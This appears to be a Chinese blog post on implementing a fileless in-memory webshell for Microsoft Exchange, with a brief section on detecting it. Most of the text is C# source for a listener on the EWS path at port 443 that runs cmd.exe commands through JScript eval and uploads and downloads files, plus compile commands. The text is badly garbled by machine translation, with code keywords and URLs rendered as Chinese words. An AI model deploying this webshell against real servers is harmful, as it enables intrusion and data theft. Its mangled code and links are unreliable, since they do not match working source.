发布于2022年11月8日2年前 0x00 前言 在之前的文章《渗透基础——Exchange一句话后门的实现》 和《渗透基础——Exchange一句话后门的扩展》 介绍了通过Webshell内存加载。网程序集的方法。 如果同其他技术相结合,可以达到意想不到的效果。 本文仅在技术研究的角度点到为止,开源一份简单的测试代码,结合利用思路给出防御建议。 0x01 简介 本文将要介绍以下内容: 思路启发 开源代码 检测方法 0x02 思路启发 1.Exchange的端口复用 参考资料: http://www。zcgonvh。CVE-2020-17144和武器化。超文本标记语言 https://份文件。微软。com/en-us/dot net/API/system。网。http侦听器?view=net-5.0 通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问 这种方法可以在交换下建立一个监听器,执行提供的命令 2.通过C Sharp调用JScript 参考资料: 彼得逊街https://号。中等。com/some-notes-about-Microsoft-exchange-反序列化-CVE,2021-42321-110,d04e 8852 https://份文件。微软。com/en-us/点网/API/微软。jscript。VSA?view=netframework-4.8 示例代码test1.cs的内容如下: 使用系统; 名称空间测试 { 公开课程 { 公共静态void Main(string[] args) { string code=" new ActiveX object(" WScript .壳')。exec(' cmd。exe/c whoami’)。stdout。read all()'; 微软. JScript。VSA。VSA引擎VSA引擎=微软.JScript。VSA。VSA发动机。创建引擎(); 代码=系统正文。编码。utf8。getstring(System .文字。编码。utf8。getbytes(code)); 对象obj=微软.JScript。Eval.JScriptEvaluate(代码、VSA发动机); 控制台WriteLine(obj); } } } 编译: C:\Windows\Microsoft .NET \ framework 64 \ v 4。0 .30319 \ CSC。exe/r:Microsoft .JScript.dll测试1.cs 3.Exchange的端口复用 + 通过C Sharp调用JScript 示例代码test2.cs的内容如下: 使用系统; 使用系统网页。 使用系统。诊断; 使用系统。穿线; 使用系统运行时。InteropServices 使用系统。文本; 使用系统。木卫一; 使用系统。安全。密码术; 使用系统。网; 使用系统。反思; 使用系统。收藏; 使用系统。集合。泛型; 使用系统。目录服务; 名称空间测试 { 公共课考试 { 静态void Main(string[] args) { 新帖(听)。start(); } 静态空监听() { 尝试 { 如果(!HttpListener .受支持) { 返回; } http listener listener=new http listener(); 听众。前缀。add(' https://*:443/EWS/test/'); 听众. start(); 而(真) { HttpListenerContext上下文=侦听器. get context(); HttpListenerRequest请求=上下文。请求; HttpListenerResponse响应=上下文。回应; 流stm=空 字符串cmd=请求查询字符串[' pass ']; 控制台。写线(cmd); 如果(!字符串IsNullOrEmpty(cmd)) { 尝试 { 微软. JScript。VSA。VSA引擎VSA引擎=微软.JScript。VSA。VSA发动机。创建引擎(); cmd=系统正文。编码。ascii。getstring(System .文字。编码。utf8。getbytes(cmd)); 对象obj=微软.JScript。评估。jscriptevaluate(cmd,VSA引擎); 字节[]数据=系统正文。编码。utf8。getbytes((string)obj); 回应StatusCode=200 回应ContentLength64=数据。长度; stm=响应。输出流; stm .写(数据,0,数据。长度); } 捕捉 { 回应StatusCode=404 } 最后 { 如果(stm!=空) { stm .close(); } } } 其他 { 回应StatusCode=404 回应输出流。close(); } } } 捕捉 { } } } } 编译: C:\Windows\Microsoft .NET \ framework 64 \ v 4。0 .30319 \ CSC。exe/r:Microsoft .JScript.dll测试2.cs 以上代码通过调用JScript执行煤矿管理局命令,简单实现了Webshell的功能 4.内存加载.net程序集 将以上代码按照。网程序集的格式编译成dll,再通过Webshell进行内存加载,那么就能够实现一个内存Webshell 示例代码tes3.cs的内容如下: 使用系统; 使用系统网页。 使用系统。诊断; 使用系统。穿线; 使用系统运行时。InteropServices 使用系统。文本; 使用系统。木卫一; 使用系统。安全。密码术; 使用系统。网; 使用系统。反思; 使用系统。收藏; 使用系统。集合。泛型; 使用系统。目录服务; 命名空间EWS .测试。后门 { 公共课考试 { 静态void Main(string[] args) { 新帖(听)。start(); } 静态空监听() { 尝试 { 如果(!HttpListener .受支持) { 返回; } http listener listener=new http listener(); 听众。前缀。add(' https://*:443/EWS/test/'); 听众. start(); 而(真) { HttpListenerContext上下文=侦听器. get context(); HttpListenerRequest请求=上下文。请求; HttpListenerResponse响应=上下文。回应; 流stm=空 字符串cmd=请求查询字符串[' cmd ']; 字符串上传=请求查询字符串[' upload ']; 字符串路径=请求查询字符串[' path ']; 字符串下载=请求查询字符串[' download ']; 如果(字符串IsNullOrEmpty(cmd)字符串IsNullOrEmpty(上传)字符串IsNullOrEmpty(下载)字符串IsNullOrEmpty(路径)) { 回应StatusCode=404 回应输出流。close(); } 其他 { 如果(!字符串IsNullOrEmpty(上传)!字符串IsNullOrEmpty(路径)) { 字节[]温度=转换. from base64 string(path); 路径=系统正文。编码。ascii。getstring(temp); 字节[]数据=转换FromBase64String(上传); 文件流fs=新文件流(路径,文件模式。创建); fs .写(数据,0,数据。长度); fs .flush(); fs .close(); 回应StatusCode=200 回应输出流。close(); } else if(!字符串IsNullOrEmpty(下载)) { 字节[]温度=转换FromBase64String(下载); 下载=系统正文。编码。ascii。getstring(temp); byte[] buffer=System .IO。File.ReadAllBytes(下载); string base64str=Convert .to base 64字符串(缓冲区); 字节[]数据=系统正文。编码。utf8。getbytes(base 64 str); 回应StatusCode=200 回应ContentLength64=数据。长度; stm=响应。输出流; stm .写(数据,0,数据。长度); } else if(!字符串IsNullOrEmpty(cmd)) { string code=" new ActiveX object(" WScript .壳')。exec(' cmd。exe/c ' cmd ' ')。stdout。read all()'; 尝试 { 微软. JScript。VSA。VSA引擎VSA引擎=微软.JScript。VSA。VSA发动机。创建引擎(); 代码=系统正文。编码。ascii。getstring(System .文字。编码。utf8。getbytes(code)); 对象obj=微软.JScript。Eval.JScriptEvaluate(代码、VSA发动机); 字节[]数据=系统正文。编码。utf8。getbytes((string)obj); 回应StatusCode=200 回应ContentLength64=数据。长度; stm=响应。输出流; stm .写(数据,0,数据。长度); } 捕捉 { 回应StatusCode=404 } 最后 { 如果(stm!=空) { stm .close(); } } } 其他 { 回应StatusCode=404 回应输出流。close(); } } } } 捕捉 { } } } } 编译: C:\Windows\Microsoft .NET \ framework 64 \ v 4。0 .30319 \ CSC。exe/target:library/r:Microsoft .JScript.dll测试3.cs 生成的test3.dll即为实现内存Webshell的有效载荷数据,支持命令执行,文件上传和下载 0x03 检测方法 这种内存Webshell不需要文件落地,会写入进程内存,无法调用组装。倾销清除,只能重启交换 检测方法:根据组装。负荷的内存特性进行检查 参考资料: https://www.elastic.co/blog/hunting-memory-net-attacks 可供参考的检测脚本: https://要点。github。DC 78083 cede ab 10 ABC 551 CB 58 检测命令: powershell -ep旁路-c '导入-模块/Get-clr反射。“PS1”' Get-ClrReflection ' 0x04 小结 本文介绍了交换内存Webshell的实现思路,给出防御检测的建议。 留下回复
创建帐户或登录后发表意见